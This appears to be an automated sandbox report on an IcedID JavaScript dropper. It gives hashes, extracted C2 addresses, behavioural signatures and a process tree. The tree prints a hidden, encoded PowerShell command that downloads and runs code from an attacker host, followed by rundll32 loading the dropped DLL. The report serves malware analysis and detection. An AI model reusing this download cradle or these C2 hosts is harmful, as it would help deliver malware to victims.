Analysis
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max time kernel
123s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
18-03-2023 06:15
Static task
static1
Behavioral task
behavioral1
Sample
Unpaid_03_17_Copy#82.js
Resource
win7-20230220-en
General
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Target
Unpaid_03_17_Copy#82.js
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Size
12KB
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MD5
bef0e81b04fdf1c19a5c7fee8e1974e4
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SHA1
956020f277d64abfe742ba8687853f6fc5052689
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SHA256
f1481a3f86cdaee1e707bb93e26adedf3bb7665ed840431c6c1c473a41e9fa67
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SHA512
940d4629db1a91d292c8537cad16b16bc04ac3b2f28f3dcf2eeba7910b22b841d4ec815f66a88c82e9258dff04ea8bcd13626752a063ef313416c0f9a6404d2c
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SSDEEP
192:zm0KUNutRNkR3aEfiHEiAuaWF3Kc0medXPcNjPnqUOR6n6m2Kj:z4UNu3NIaXEifRKc08Nj/rjF
Malware Config
Extracted
http://conalom.top/gatef1.php
Extracted
icedid
946873669
umoxlopator.com
Signatures
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Blocklisted process makes network request 5 IoCs
Processes:
powershell.exerundll32.exeflow pid process 15 4596 powershell.exe 16 4596 powershell.exe 28 3456 rundll32.exe 77 3456 rundll32.exe 79 3456 rundll32.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation wscript.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3456 rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 4596 powershell.exe 4596 powershell.exe 3456 rundll32.exe 3456 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4596 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
wscript.execmd.exepowershell.exedescription pid process target process PID 3564 wrote to memory of 3556 3564 wscript.exe cmd.exe PID 3564 wrote to memory of 3556 3564 wscript.exe cmd.exe PID 3556 wrote to memory of 4596 3556 cmd.exe powershell.exe PID 3556 wrote to memory of 4596 3556 cmd.exe powershell.exe PID 4596 wrote to memory of 3456 4596 powershell.exe rundll32.exe PID 4596 wrote to memory of 3456 4596 powershell.exe rundll32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Unpaid_03_17_Copy#82.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4596 -
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\kuDLmSqd.dat,init4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:3456
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
797KB
MD5b0ad6d2d4c031bdba529c80b9b2957e7
SHA1153a5ba4665cbcd79afff27d27864f498284d9c0
SHA2569e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b
SHA512f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d
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Filesize
797KB
MD5b0ad6d2d4c031bdba529c80b9b2957e7
SHA1153a5ba4665cbcd79afff27d27864f498284d9c0
SHA2569e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b
SHA512f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d